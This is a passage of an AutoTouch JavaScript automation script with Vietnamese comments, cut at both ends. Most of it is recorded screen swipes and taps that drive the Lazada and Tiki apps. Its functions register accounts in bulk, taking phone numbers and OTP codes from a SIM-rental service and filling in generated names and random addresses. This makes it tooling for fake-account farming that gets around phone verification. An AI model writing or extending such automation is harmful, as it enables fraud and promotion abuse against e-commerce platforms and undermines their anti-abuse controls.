touchMove(1, 623.02, 437.23);1039 // usleep(16812.92);1040 // touchMove(1, 624.05, 425.00);1041 // usleep(16501.88);1042 // touchMove(1, 625.08, 413.80);1043 // usleep(16692.21);1044 // touchMove(1, 626.09, 402.61);1045 // usleep(16724.67);1046 // touchMove(1, 628.15, 390.39);1047 // usleep(16704.67);1048 // touchMove(1, 630.20, 380.22);1049 // usleep(16639.04);1050 // touchMove(1, 632.25, 369.00);1051 // usleep(16652.08);1052 // touchMove(1, 635.34, 359.84);1053 // usleep(16663.42);1054 // touchMove(1, 637.39, 349.66);1055 // usleep(16622.42);1056 // touchMove(1, 639.44, 340.50);1057 // usleep(16718.42);1058 // touchMove(1, 642.52, 331.34);1059 // usleep(16600.12);1060 // touchMove(1, 644.58, 322.18);1061 // usleep(16723.79);1062 // touchMove(1, 646.63, 313.00);1063 // usleep(16678.58);1064 // touchMove(1, 648.67, 304.86);1065 // usleep(16620.08);1066 // touchMove(1, 650.73, 294.68);1067 // usleep(16646.88);1068 // touchMove(1, 652.78, 285.52);1069 // usleep(16778.33);1070 // touchMove(1, 654.84, 275.35);1071 // usleep(16542.71);1072 // touchMove(1, 656.89, 266.19);1073 // usleep(16688.38);1074 // touchMove(1, 658.94, 257.01);1075 // usleep(16736.83);1076 // touchMove(1, 661.00, 247.85);1077 // usleep(16579.38);1078 // touchMove(1, 663.05, 238.69);1079 // usleep(16664.38);1080 // touchMove(1, 665.11, 228.51);1081 // usleep(16764.12);1082 // touchMove(1, 667.16, 218.33);1083 // usleep(16613.12);1084 // touchMove(1, 669.20, 209.17);1085 // usleep(16640.54);1086 // touchMove(1, 672.28, 198.97);1087 // usleep(16732.46);1088 // touchMove(1, 674.34, 189.81);1089 // usleep(16603.92);1090 // touchMove(1, 677.42, 179.63);1091 // usleep(16668.96);1092 // touchMove(1, 680.50, 169.46);1093 // usleep(16500.50);1094 // touchMove(1, 682.55, 159.28);1095 // usleep(16592.96);1096 // touchMove(1, 685.63, 151.12);1097 // usleep(16669.08);1098 // touchMove(1, 686.66, 145.01);1099 // usleep(16747.33);1100 // touchMove(1, 687.69, 140.94);1101 // usleep(16578.92);1102 // touchMove(1, 688.71, 137.89);1103 // usleep(16650.67);1104 // touchMove(1, 689.74, 135.85);1105 // usleep(16715.75);1106 // touchMove(1, 690.77, 134.83);1107 // usleep(16699.88);1108 // touchMove(1, 691.78, 132.80);1109 // usleep(16787.33);1110 // touchMove(1, 692.81, 130.76);1111 // usleep(16552.38);1112 // touchMove(1, 693.84, 127.71);1113 // usleep(16640.17);1114 // touchMove(1, 694.86, 124.66);1115 // usleep(16598.54);1116 // touchMove(1, 695.89, 120.58);1117 // usleep(16764.12);1118 // touchMove(1, 696.92, 116.51);1119 // usleep(16591.42);1120 // touchMove(1, 697.95, 111.42);1121 // usleep(16654.25);1122 // touchMove(1, 698.97, 108.37);1123 // usleep(16722.00);1124 // touchMove(1, 700.00, 105.32);1125 // usleep(16613.08);1126 // touchMove(1, 701.03, 103.28);1127 // usleep(16688.38);1128 // touchMove(1, 701.03, 101.25);1129 // usleep(16726.67);1130 // touchMove(1, 701.03, 100.23);1131 // usleep(16594.96);1132 // touchMove(1, 702.05, 98.19);1133 // usleep(16808.42);1134 // touchMove(1, 702.05, 97.16);1135 // usleep(33396.04);1136 // touchMove(1, 702.05, 96.14);1137 // usleep(16434.25);1138 // touchMove(1, 703.08, 96.14);1139 // usleep(16789.54);1140 // touchMove(1, 703.08, 95.12);1141 // usleep(33503.58);1142 // touchMove(1, 703.08, 94.10);1143 // usleep(16467.33);1144 // touchMove(1, 704.11, 94.10);1145 // usleep(16646.96);1146 // touchMove(1, 705.13, 93.08);1147 // usleep(16620.38);1148 // touchMove(1, 707.19, 92.07);1149 // usleep(15591.33);1150 // touchUp(1, 711.28, 88.00);1151 appActivate("com.LazadaSEA.Lazada");1152 touchDown(3, 359.23, 507.48);1153 usleep(101373.17);1154 touchUp(3, 359.23, 507.48);1155 usleep(1698857.33);1156 touchDown(1, 150.88, 180.65);1157 usleep(117895.54);1158 touchUp(1, 150.88, 180.65);1159 usleep(998978.04);1160 touchDown(5, 381.82, 988.04);1161 usleep(17630.92);1162 touchMove(5, 383.87, 977.84);1163 usleep(16793.04);1164 touchMove(5, 383.87, 958.51);1165 usleep(16608.12);1166 touchMove(5, 385.92, 940.19);1167 usleep(16574.29);1168 touchMove(5, 389.00, 918.79);1169 usleep(16690.08);1170 touchMove(5, 393.10, 892.33);1171 usleep(16809.08);1172 touchMove(5, 398.24, 857.71);1173 usleep(16649.25);1174 touchMove(5, 406.45, 825.14);1175 usleep(16515.38);1176 touchMove(5, 412.61, 793.57);1177 usleep(16786.33);1178 touchMove(5, 417.74, 768.12);1179 usleep(16578.12);1180 touchMove(5, 421.84, 743.68);1181 usleep(16630.33);1182 touchMove(5, 426.98, 721.29);1183 usleep(16697.75);1184 touchMove(5, 429.03, 701.93);1185 usleep(16574.83);1186 touchMove(5, 433.14, 677.50);1187 usleep(16613.62);1188 touchMove(5, 438.26, 654.09);1189 usleep(16744.38);1190 touchMove(5, 442.37, 629.65);1191 usleep(16671.12);1192 touchMove(5, 446.48, 609.29);1193 usleep(16605.25);1194 touchMove(5, 451.61, 587.90);1195 usleep(16695.88);1196 touchMove(5, 454.69, 564.49);1197 usleep(16655.21);1198 touchMove(5, 458.79, 548.21);1199 usleep(16753.83);1200 touchMove(5, 461.87, 530.88);1201 usleep(16627.12);1202 touchMove(5, 465.98, 514.60);1203 usleep(16599.25);1204 touchMove(5, 469.06, 500.35);1205 usleep(16703.12);1206 touchMove(5, 472.14, 488.14);1207 usleep(16680.29);1208 touchMove(5, 475.22, 476.92);1209 usleep(16662.50);1210 touchMove(5, 478.29, 466.75);1211 usleep(16649.21);1212 touchMove(5, 481.37, 456.57);1213 usleep(16741.71);1214 touchMove(5, 484.45, 448.43);1215 usleep(16607.96);1216 touchMove(5, 486.51, 442.32);1217 usleep(16688.25);1218 touchMove(5, 487.53, 439.27);1219 usleep(16723.92);1220 touchMove(5, 488.56, 437.23);1221 usleep(16616.46);1222 touchMove(5, 489.59, 436.21);1223 usleep(16629.25);1224 touchMove(5, 490.61, 436.21);1225 usleep(166766.42);1226 touchMove(5, 490.61, 435.19);1227 usleep(50076.00);1228 touchMove(5, 490.61, 434.18);1229 usleep(33210.71);1230 touchMove(5, 490.61, 433.16);1231 usleep(17128.08);1232 touchMove(5, 490.61, 430.11);1233 usleep(14952.58);1234 touchUp(5, 493.70, 426.01);1235 usleep(1102996.17);1236 touchDown(6, 363.34, 1082.71);1237 usleep(64078.88);1238 touchUp(6, 363.34, 1082.71);1239 usleep(1184648.92);1240 touchDown(6, 404.40, 1019.59);1241 usleep(33248.46);1242 touchMove(6, 408.50, 1005.34);1243 usleep(16586.58);1244 touchMove(6, 408.50, 991.10);1245 usleep(16685.62);1246 touchMove(6, 409.53, 969.70);1247 usleep(16433.62);1248 touchMove(6, 414.67, 934.08);1249 usleep(16766.46);1250 touchMove(6, 421.84, 886.23);1251 usleep(16809.67);1252 touchMove(6, 430.06, 839.39);1253 usleep(16612.71);1254 touchMove(6, 437.24, 795.60);1255 usleep(16647.04);1256 touchMove(6, 444.43, 759.98);1257 usleep(16716.62);1258 touchMove(6, 449.56, 731.46);1259 usleep(16618.71);1260 touchMove(6, 453.67, 705.00);1261 usleep(16725.00);1262 touchMove(6, 457.76, 685.65);1263 usleep(16720.92);1264 touchMove(6, 460.85, 668.34);1265 usleep(16573.38);1266 touchMove(6, 463.93, 655.11);1267 usleep(16662.33);1268 touchMove(6, 468.03, 643.90);1269 usleep(16786.46);1270 touchMove(6, 469.06, 635.75);1271 usleep(16525.62);1272 touchMove(6, 471.11, 630.67);1273 usleep(16733.42);1274 touchMove(6, 472.14, 628.63);1275 usleep(83392.83);1276 touchMove(6, 472.14, 627.61);1277 usleep(16467.21);1278 touchMove(6, 473.17, 627.61);1279 usleep(117013.25);1280 touchMove(6, 473.17, 626.59);1281 usleep(166558.58);1282 touchUp(6, 470.09, 619.47);1283 usleep(1783507.46);1284 touchDown(2, 390.03, 1092.91);1285 usleep(116404.58);1286 touchUp(2, 390.03, 1092.91);1287 at.usleep(1000000);1288 //truot1289 touchDown(5, 628.15, 569.58);1290 usleep(67925.96);1291 touchMove(5, 631.23, 555.33);1292 usleep(16659.00);1293 touchMove(5, 632.25, 543.12);1294 usleep(16530.08);1295 touchMove(5, 635.34, 526.81);1296 usleep(16606.21);1297 touchMove(5, 641.50, 508.49);1298 usleep(16775.42);1299 touchMove(5, 646.63, 490.17);1300 usleep(16822.29);1301 touchMove(5, 650.73, 477.94);1302 usleep(15248.50);1303 touchUp(5, 654.84, 473.87);1304 usleep(734793.04);1305 touchDown(4, 605.58, 626.59);1306 usleep(66689.04);1307 touchMove(4, 615.83, 590.95);1308 usleep(16548.96);1309 touchMove(4, 618.92, 567.54);1310 usleep(16748.33);1311 touchMove(4, 627.12, 532.92);1312 usleep(16502.25);1313 touchMove(4, 639.44, 496.28);1314 usleep(16806.71);1315 touchUp(4, 655.86, 459.62);1316 usleep(1116685.08);1317 touchDown(6, 602.50, 639.83);1318 usleep(33123.88);1319 touchMove(6, 602.50, 631.68);1320 usleep(16962.38);1321 touchMove(6, 602.50, 617.44);1322 usleep(16465.96);1323 touchMove(6, 606.59, 591.97);1324 usleep(16826.42);1325 touchMove(6, 615.83, 556.35);1326 usleep(16803.21);1327 touchMove(6, 627.12, 509.51);1328 usleep(16531.58);1329 touchMove(6, 641.50, 466.75);1330 usleep(16474.42);1331 touchUp(6, 657.92, 431.12);1332 //input sdt1333 //click and input phoneNumber1334 at.usleep(2000000);1335 at.touchDown(0, 179, 533)1336 at.usleep(50000)1337 at.touchUp(0, 179, 533)1338 this.AtHelper.thongBao("Input sdt: " + this.phoneNumber);1339 this.AtHelper.inputTextCustom(this.phoneNumber);1340 at.usleep(2000000);1341 at.touchDown(0, 380, 858)1342 at.usleep(50000)1343 at.touchUp(0, 380, 858)1344 at.usleep(1000000);1345 }1346 else {1347 //input fullname1348 this.AtHelper.thongBao("Input fullname: " + this.fullName);1349 at.touchDown(0, 211, 171)1350 at.usleep(50000)1351 at.touchUp(0, 211, 171)1352 at.usleep(1000000);1353 this.AtHelper.inputTextCustom(this.fullName + " MM");1354 at.usleep(2000000);1355 //input dia chi1356 this.AtHelper.thongBao("Input SDT: " + this.phoneNumber);1357 at.touchDown(0, 231, 289)1358 at.usleep(50000)1359 at.touchUp(0, 231, 289)1360 at.usleep(1000000);1361 this.AtHelper.inputTextCustom(this.phoneNumber);1362 at.usleep(2000000);1363 //input sd1364 appActivate("com.LazadaSEA.Lazada");1365 touchDown(6, 256.60, 404.64);1366 usleep(98895.79);1367 touchUp(6, 256.60, 404.64);1368 usleep(2099745.08);1369 touchDown(5, 228.88, 554.31);1370 usleep(66675.67);1371 touchUp(5, 228.88, 554.31);1372 usleep(935044.50);1373 touchDown(3, 354.10, 1224.24);1374 usleep(32988.71);1375 touchMove(3, 353.07, 1208.98);1376 usleep(17090.29);1377 touchMove(3, 353.07, 1193.69);1378 usleep(16338.29);1379 touchMove(3, 354.10, 1176.39);1380 usleep(16623.96);1381 touchMove(3, 357.18, 1151.96);1382 usleep(17051.83);1383 touchMove(3, 362.31, 1118.36);1384 usleep(16249.50);1385 touchMove(3, 369.50, 1071.52);1386 usleep(16687.75);1387 touchMove(3, 378.73, 1013.49);1388 usleep(16793.92);1389 touchMove(3, 394.13, 937.13);1390 usleep(16610.71);1391 touchMove(3, 413.64, 867.89);1392 usleep(16616.46);1393 touchMove(3, 431.09, 818.02);1394 usleep(16740.33);1395 touchMove(3, 444.43, 779.32);1396 usleep(16594.96);1397 touchMove(3, 452.64, 749.78);1398 usleep(16669.00);1399 touchMove(3, 457.76, 732.48);1400 usleep(16742.21);1401 touchMove(3, 460.85, 719.25);1402 usleep(16615.50);1403 touchMove(3, 462.90, 712.13);1404 usleep(16666.54);1405 touchMove(3, 462.90, 708.06);1406 usleep(16984.33);1407 touchMove(3, 462.90, 707.04);1408 usleep(16338.00);1409 touchMove(3, 462.90, 706.02);1410 usleep(16674.04);1411 touchMove(3, 462.90, 703.97);1412 usleep(16699.67);1413 touchMove(3, 462.90, 699.89);1414 usleep(16636.25);1415 touchMove(3, 462.90, 696.84);1416 usleep(16682.96);1417 touchMove(3, 462.90, 693.79);1418 usleep(16881.83);1419 touchMove(3, 462.90, 689.72);1420 usleep(16366.08);1421 touchMove(3, 463.93, 686.66);1422 usleep(16720.46);1423 touchMove(3, 464.95, 683.61);1424 usleep(16925.58);1425 touchMove(3, 464.95, 681.57);1426 usleep(16449.25);1427 touchMove(3, 465.98, 679.54);1428 usleep(16609.62);1429 touchMove(3, 467.01, 676.49);1430 usleep(16927.83);1431 touchMove(3, 468.03, 671.40);1432 usleep(16460.67);1433 touchMove(3, 472.14, 662.24);1434 usleep(16641.08);1435 touchMove(3, 476.25, 652.06);1436 usleep(16735.79);1437 touchMove(3, 480.35, 639.83);1438 usleep(16594.12);1439 touchMove(3, 484.45, 626.59);1440 usleep(16658.75);1441 touchMove(3, 488.56, 614.38);1442 usleep(16942.00);1443 touchMove(3, 492.67, 602.17);1444 usleep(16379.25);1445 touchMove(3, 495.75, 589.94);1446 usleep(16701.83);1447 touchMove(3, 497.80, 578.74);1448 usleep(16733.79);1449 touchMove(3, 498.83, 568.56);1450 usleep(16638.00);1451 touchMove(3, 499.86, 561.44);1452 usleep(16617.92);1453 touchMove(3, 500.87, 554.31);1454 usleep(16892.25);1455 touchMove(3, 501.90, 548.21);1456 usleep(16462.46);1457 touchMove(3, 502.93, 543.12);1458 usleep(16702.12);1459 touchMove(3, 504.98, 540.06);1460 usleep(16765.12);1461 touchMove(3, 506.01, 536.99);1462 usleep(16518.88);1463 touchMove(3, 507.04, 533.94);1464 usleep(16732.62);1465 touchMove(3, 508.06, 531.90);1466 usleep(16802.17);1467 touchMove(3, 509.09, 528.85);1468 usleep(16533.12);1469 touchMove(3, 510.12, 526.81);1470 usleep(16578.96);1471 touchMove(3, 510.12, 524.78);1472 usleep(16920.58);1473 touchMove(3, 510.12, 522.74);1474 usleep(16503.04);1475 touchMove(3, 511.14, 519.69);1476 usleep(16661.58);1477 touchMove(3, 512.17, 515.62);1478 usleep(16693.62);1479 touchMove(3, 513.20, 509.51);1480 usleep(16586.75);1481 touchMove(3, 515.25, 502.39);1482 usleep(16671.92);1483 touchMove(3, 518.33, 492.21);1484 usleep(16691.88);1485 touchMove(3, 522.43, 480.99);1486 usleep(16650.92);1487 touchMove(3, 525.51, 471.83);1488 usleep(16654.29);1489 touchMove(3, 527.56, 463.69);1490 usleep(17030.67);1491 touchMove(3, 528.59, 457.59);1492 usleep(16324.96);1493 touchMove(3, 529.62, 453.51);1494 usleep(16692.67);1495 touchMove(3, 530.64, 449.44);1496 usleep(17060.21);1497 touchMove(3, 531.67, 446.39);1498 usleep(16264.17);1499 touchMove(3, 532.70, 443.34);1500 usleep(16648.58);1501 touchMove(3, 533.72, 440.28);1502 usleep(16848.71);1503 touchMove(3, 534.75, 437.23);1504 usleep(16480.71);1505 touchMove(3, 534.75, 435.19);1506 usleep(16696.21);1507 touchMove(3, 535.78, 433.16);1508 usleep(16721.75);1509 touchMove(3, 535.78, 431.12);1510 usleep(16597.00);1511 touchMove(3, 535.78, 429.09);1512 usleep(16665.71);1513 touchMove(3, 535.78, 428.05);1514 usleep(16974.67);1515 touchMove(3, 535.78, 426.01);1516 usleep(16426.21);1517 touchMove(3, 535.78, 425.00);1518 usleep(16584.58);1519 touchMove(3, 535.78, 423.98);1520 usleep(16850.12);1521 touchMove(3, 535.78, 422.96);1522 usleep(16479.58);1523 touchMove(3, 535.78, 421.94);1524 usleep(16668.88);1525 touchMove(3, 535.78, 420.93);1526 usleep(416862.83);1527 touchMove(3, 537.83, 420.93);1528 usleep(15588.17);1529 touchUp(3, 541.93, 417.87);1530 usleep(1366558.96);1531 touchDown(1, 273.02, 1203.89);1532 usleep(100126.83);1533 touchUp(1, 273.02, 1203.89);1534 usleep(884541.21);1535 touchDown(2, 346.92, 1217.12);1536 usleep(49966.46);1537 touchMove(2, 346.92, 1204.91);1538 usleep(16550.50);1539 touchMove(2, 346.92, 1199.80);1540 usleep(16769.46);1541 touchMove(2, 346.92, 1193.69);1542 usleep(16574.21);1543 touchMove(2, 346.92, 1186.57);1544 usleep(16725.71);1545 touchMove(2, 346.92, 1178.43);1546 usleep(16889.33);1547 touchMove(2, 346.92, 1167.23);1548 usleep(16444.92);1549 touchMove(2, 346.92, 1154.00);1550 usleep(16610.79);1551 touchMove(2, 346.92, 1141.77);1552 usleep(16714.54);1553 touchMove(2, 347.95, 1129.55);1554 usleep(16634.00);1555 touchMove(2, 349.99, 1115.30);1556 usleep(16694.21);1557 touchMove(2, 352.05, 1096.98);1558 usleep(16653.50);1559 touchMove(2, 355.13, 1079.66);1560 usleep(16612.62);1561 touchMove(2, 358.21, 1061.34);1562 usleep(16655.04);1563 touchMove(2, 361.29, 1044.04);1564 usleep(16740.42);1565 touchMove(2, 365.40, 1024.68);1566 usleep(16640.79);1567 touchMove(2, 370.53, 1001.27);1568 usleep(16564.21);1569 touchMove(2, 374.63, 976.83);1570 usleep(16997.92);1571 touchMove(2, 378.73, 952.40);1572 usleep(16533.92);1573 touchMove(2, 383.87, 927.97);1574 usleep(16561.71);1575 touchMove(2, 389.00, 901.49);1576 usleep(16635.08);1577 touchMove(2, 396.18, 874.01);1578 usleep(16715.71);1579 touchMove(2, 403.37, 847.53);1580 usleep(16638.00);1581 touchMove(2, 411.58, 825.14);1582 usleep(16842.08);1583 touchMove(2, 416.71, 805.78);1584 usleep(16568.75);1585 touchMove(2, 421.84, 786.44);1586 usleep(16625.00);1587 touchMove(2, 428.01, 768.12);1588 usleep(16695.88);1589 touchMove(2, 432.11, 755.89);1590 usleep(16643.92);1591 touchMove(2, 434.17, 744.70);1592 usleep(16683.04);1593 touchMove(2, 436.21, 736.55);1594 usleep(16927.54);1595 touchMove(2, 437.24, 725.36);1596 usleep(16384.50);1597 touchMove(2, 438.26, 713.15);1598 usleep(16660.62);1599 touchMove(2, 440.32, 697.86);1600 usleep(16730.08);1601 touchMove(2, 442.37, 685.65);1602 usleep(16612.96);1603 touchMove(2, 443.40, 672.41);1604 usleep(16730.75);1605 touchMove(2, 444.43, 659.18);1606 usleep(16904.92);1607 touchMove(2, 446.48, 643.90);1608 usleep(16358.92);1609 touchMove(2, 449.56, 627.61);1610 usleep(16671.75);1611 touchMove(2, 451.61, 612.35);1612 usleep(16990.54);1613 touchMove(2, 453.67, 599.12);1614 usleep(16344.04);1615 touchMove(2, 454.69, 588.92);1616 usleep(16662.46);1617 touchMove(2, 455.72, 580.78);1618 usleep(16874.17);1619 touchMove(2, 456.75, 575.69);1620 usleep(16523.33);1621 touchMove(2, 457.76, 570.60);1622 usleep(16653.50);1623 touchMove(2, 457.76, 568.56);1624 usleep(16689.29);1625 touchMove(2, 457.76, 567.54);1626 usleep(16626.12);1627 touchMove(2, 457.76, 566.53);1628 usleep(450086.00);1629 touchMove(2, 458.79, 566.53);1630 usleep(15705.21);1631 touchUp(2, 462.90, 567.54);1632 usleep(1099832.38);1633 touchDown(1, 292.52, 1141.77);1634 usleep(84552.33);1635 touchUp(1, 292.52, 1141.77);1636 at.usleep(1000000);1637 this.AtHelper.thongBao("Input Dia Chi: " + this.address);1638 at.touchDown(0, 222, 515)1639 at.usleep(50000)1640 at.touchUp(0, 222, 515)1641 at.usleep(1000000);1642 this.AtHelper.inputTextCustom(this.address);1643 at.usleep(2000000);1644 at.touchDown(0, 374, 847)1645 at.usleep(50000)1646 at.touchUp(0, 374, 847)1647 at.usleep(1000000);1648 }1649 }1650 regAccTiki() {1651 this.AtHelper.thongBao('run App Tiki');1652 at.appRun("vn.tiki.app.Tiki");1653 at.usleep(10000000);1654 const find_iconX = this.findMau(639, 299, 16777215, 3);1655 if (find_iconX.success == true) {1656 at.touchDown(0, find_iconX.data.x, find_iconX.data.y)1657 at.usleep(50000)1658 at.touchUp(0, find_iconX.data.x, find_iconX.data.y)1659 at.usleep(1000000);1660 this.AtHelper.thongBao("Click Icon Ca Nhan");1661 at.touchDown(0, 670, 1281)1662 at.usleep(50000)1663 at.touchUp(0, 670, 1281)1664 at.usleep(2000000);1665 this.AtHelper.thongBao("Click DangNhap/DangKy");1666 at.touchDown(0, 290, 256)1667 at.usleep(50000)1668 at.touchUp(0, 290, 256)1669 at.usleep(1000000);1670 this.AtHelper.thongBao("Reg Acc Tiki");1671 at.usleep(1000000);1672 this.AtHelper.thongBao(`Get sim: `);1673 this.createService(30);1674 this.AtHelper.delayCus(5);1675 //click and input phoneNumber1676 at.touchDown(0, 244, 609)1677 at.usleep(50000)1678 at.touchUp(0, 244, 609)1679 at.usleep(1000000);1680 this.AtHelper.thongBao("Reg sdt: " + this.phoneNumber);1681 this.AtHelper.inputTextCustom("0" + this.phoneNumber);1682 at.usleep(2000000);1683 this.AtHelper.thongBao("Click btn Tiep Tuc");1684 //click btn TiepTuc1685 const optionBtnTiepTuc = {1686 colors: [ // REQUIRED, colors and their relative positions1687 { color: 16728654, x: 0, y: 0 },1688 { color: 16728654, x: 3, y: 30 },1689 { color: 16728654, x: 30, y: 34 },1690 { color: 16728654, x: 25, y: 0 },1691 { color: 16777215, x: 18, y: 15 },1692 { color: 16777215, x: 19, y: 17 }1693 ],1694 count: 3, // OPTIONAL, default is 0, 0 means no limitation1695 region: { x: 296.83, y: 786.97, width: 163.73, height: 60.21 }, // OPTIONAL, default is null, null means the whole screen1696 debug: false,1697 }1698 const find_optionBtnTiepTuc = this.AtHelper.findToaDo(optionBtnTiepTuc, 2);1699 if (find_optionBtnTiepTuc.success == true) {1700 at.usleep(1000000);1701 at.tap(find_optionBtnTiepTuc.data.x, find_optionBtnTiepTuc.data.y);1702 }1703 else {1704 at.touchDown(0, 381, 806)1705 at.usleep(50000)1706 at.touchUp(0, 381, 806)1707 }1708 this.inputOTP();1709 }1710 }1711 regAccTikiBySim() {1712 this.AtHelper.thongBao('run App Tiki');1713 at.appRun("vn.tiki.app.Tiki");1714 at.usleep(10000000);1715 const find_iconX = this.findMau(639, 299, 16777215, 3);1716 if (find_iconX.success == true) {1717 at.touchDown(0, find_iconX.data.x, find_iconX.data.y)1718 at.usleep(50000)1719 at.touchUp(0, find_iconX.data.x, find_iconX.data.y)1720 at.usleep(1000000);1721 this.AtHelper.thongBao("Click Icon Ca Nhan");1722 at.touchDown(0, 670, 1281)1723 at.usleep(50000)1724 at.touchUp(0, 670, 1281)1725 at.usleep(2000000);1726 this.AtHelper.thongBao("Click DangNhap/DangKy");1727 at.touchDown(0, 290, 256)1728 at.usleep(50000)1729 at.touchUp(0, 290, 256)1730 at.usleep(1000000);1731 this.AtHelper.thongBao("Reg Acc Tiki");1732 at.usleep(1000000);1733 //click and input phoneNumber1734 at.touchDown(0, 244, 609)1735 at.usleep(50000)1736 at.touchUp(0, 244, 609)1737 at.usleep(1000000);1738 this.AtHelper.thongBao("Reg sdt: " + this.phoneNumber);1739 this.AtHelper.inputTextCustom("0" + this.phoneNumber);1740 at.usleep(2000000);1741 this.AtHelper.thongBao("Click btn Tiep Tuc");1742 //click btn TiepTuc1743 const optionBtnTiepTuc = {1744 colors: [ // REQUIRED, colors and their relative positions1745 { color: 16728654, x: 0, y: 0 },1746 { color: 16728654, x: 3, y: 30 },1747 { color: 16728654, x: 30, y: 34 },1748 { color: 16728654, x: 25, y: 0 },1749 { color: 16777215, x: 18, y: 15 },1750 { color: 16777215, x: 19, y: 17 }1751 ],1752 count: 3, // OPTIONAL, default is 0, 0 means no limitation1753 region: { x: 296.83, y: 786.97, width: 163.73, height: 60.21 }, // OPTIONAL, default is null, null means the whole screen1754 debug: false,1755 }1756 const find_optionBtnTiepTuc = this.AtHelper.findToaDo(optionBtnTiepTuc, 2);1757 if (find_optionBtnTiepTuc.success == true) {1758 at.usleep(1000000);1759 at.tap(find_optionBtnTiepTuc.data.x, find_optionBtnTiepTuc.data.y);1760 }1761 else {1762 at.touchDown(0, 381, 806)1763 at.usleep(50000)1764 at.touchUp(0, 381, 806)1765 }1766 }1767 }1768 inputOTP() {1769 //input OTP1770 at.toast('Cho lay ma otp');1771 at.usleep(5000000);1772 this.loopGetCode();1773 at.usleep(2000000);1774 if (this.otp != '') {1775 console.log(this.otp);1776 this.AtHelper.inputTextCustom(this.otp);1777 at.usleep(3000000);1778 }1779 }1780 regAccTikiB2() {1781 const find_btnTaoTK = this.findMau(379, 822, 16728654, 2);1782 if (find_btnTaoTK.success == true) {1783 this.AtHelper.thongBao("Input HoTen: " + this.fullName);1784 at.touchDown(0, 138, 330)1785 at.usleep(50000)1786 at.touchUp(0, 138, 330)1787 at.usleep(1000000);1788 this.AtHelper.inputTextCustom(this.fullName + "MM");1789 at.usleep(1000000);1790 this.AtHelper.thongBao("Input PWD: " + this.password);1791 at.touchDown(0, 157, 600)1792 at.usleep(50000)1793 at.touchUp(0, 157, 600)1794 at.usleep(1000000);1795 this.AtHelper.inputTextCustom(this.password);1796 at.usleep(1000000);1797 at.touchDown(0, find_btnTaoTK.data.x, find_btnTaoTK.data.y);1798 at.usleep(50000);1799 at.touchUp(0, find_btnTaoTK.data.x, find_btnTaoTK.data.y);1800 at.usleep(1000000);1801 }1802 }1803 dienDiaChiTiki() {1804 this.AtHelper.thongBao("Dien Dia Chi Tiki");1805 at.usleep(1000000);1806 //input ho ten1807 this.AtHelper.thongBao("Input HoTen: " + this.fullName);1808 at.touchDown(0, 201, 218)1809 at.usleep(50000)1810 at.touchUp(0, 201, 218)1811 at.usleep(1000000);1812 this.AtHelper.inputTextCustom(this.fullName + "MM");1813 at.usleep(2000000);1814 //input sdt1815 this.AtHelper.thongBao("Input sdt: " + this.phoneNumber);1816 at.touchDown(0, 182, 363)1817 at.usleep(50000)1818 at.touchUp(0, 182, 363)1819 at.usleep(1000000);1820 this.AtHelper.inputTextCustom(this.phoneNumber);1821 at.usleep(2000000);1822 //input dia chi1823 this.AtHelper.thongBao("Input dia chi: " + this.address);1824 at.touchDown(0, 198, 521)1825 at.usleep(50000)1826 at.touchUp(0, 198, 521)1827 at.usleep(1000000);1828 this.AtHelper.inputTextCustom(this.address);1829 at.usleep(2000000);1830 //input dia chi1831 this.AtHelper.thongBao("Tinh/ThanhPho");1832 at.touchDown(0, 169, 672)1833 at.usleep(50000)1834 at.touchUp(0, 169, 672)1835 at.usleep(1000000);1836 this.AtHelper.thongBao("Click HCM");1837 at.touchDown(0, 183, 372)1838 at.usleep(50000)1839 at.touchUp(0, 183, 372)1840 at.usleep(1000000);1841 this.AtHelper.thongBao("Click Quan 10");1842 at.touchDown(0, 137, 1249)1843 at.usleep(50000)1844 at.touchUp(0, 137, 1249)1845 at.usleep(1000000);1846 this.AtHelper.thongBao("vuot xuong");1847 at.touchDown(1, 495.75, 984.99);1848 at.usleep(16656.38);1849 at.touchMove(1, 495.75, 959.52);1850 at.usleep(16552.54);1851 at.touchMove(1, 495.75, 913.71);1852 at.usleep(16776.71);1853 at.touchMove(1, 507.04, 835.32);1854 at.usleep(16650.08);1855 at.touchMove(1, 534.75, 737.57);1856 at.usleep(16674.38);1857 at.touchMove(1, 568.62, 641.86);1858 at.usleep(15461.83);1859 at.touchUp(1, 572.73, 637.79);1860 at.usleep(1000000);1861 this.AtHelper.thongBao("Click Phuong 13");1862 at.touchDown(0, 181, 1088)1863 at.usleep(50000)1864 at.touchUp(0, 181, 1088)1865 at.usleep(1000000);1866 }1867 dienDiaChiTikiTH2() {1868 const find_btnGiao = this.findMau(356, 1267, 16728654, 2);1869 if (find_btnGiao.success == true) {1870 this.AtHelper.thongBao("Dien Dia Chi Tiki");1871 at.usleep(1000000);1872 //input ho ten1873 this.AtHelper.thongBao("Input HoTen: " + this.fullName);1874 at.touchDown(0, 218, 286)1875 at.usleep(50000)1876 at.touchUp(0, 218, 286)1877 at.usleep(1000000);1878 this.AtHelper.inputTextCustom(this.fullName + "MM");1879 at.usleep(2000000);1880 //input sdt1881 this.AtHelper.thongBao("Input SDT: " + this.phoneNumber);1882 at.touchDown(0, 218, 439)1883 at.usleep(50000)1884 at.touchUp(0, 218, 439)1885 at.usleep(1000000);1886 this.AtHelper.inputTextCustom(this.phoneNumber);1887 at.usleep(2000000);1888 //input diachi1889 const diaChiTemp = Math.floor(Math.random() * 100).toString() + "/" + Math.floor(Math.random() * 11).toString() + " to hien thanh";1890 this.AtHelper.thongBao("Input Dia chi: " + diaChiTemp);1891 at.touchDown(0, 252, 588)1892 at.usleep(50000)1893 at.touchUp(0, 252, 588)1894 at.usleep(1000000);1895 this.AtHelper.inputTextCustom(diaChiTemp);1896 at.usleep(2000000);1897 appActivate("vn.tiki.app.Tiki");1898 touchDown(6, 416.71, 735.54);1899 usleep(133306.50);1900 touchUp(6, 416.71, 735.54);1901 usleep(2251357.67);1902 touchDown(5, 239.15, 358.82);1903 usleep(116761.21);1904 touchUp(5, 239.15, 358.82);1905 usleep(2149934.50);1906 touchDown(1, 246.33, 1261.92);1907 usleep(548970.17);1908 touchUp(1, 246.33, 1261.92);1909 usleep(1600268.08);1910 touchDown(3, 339.73, 1157.05);1911 usleep(67483.33);1912 touchMove(3, 347.95, 1124.46);1913 usleep(16768.50);1914 touchMove(3, 347.95, 1113.27);1915 usleep(16825.96);1916 touchMove(3, 349.99, 1100.04);1917 usleep(16423.92);1918 touchMove(3, 354.10, 1082.71);1919 usleep(16751.25);1920 touchMove(3, 357.18, 1065.41);1921 usleep(16779.25);1922 touchMove(3, 360.26, 1048.11);1923 usleep(16564.46);1924 touchMove(3, 363.34, 1031.81);1925 usleep(16634.04);1926 touchMove(3, 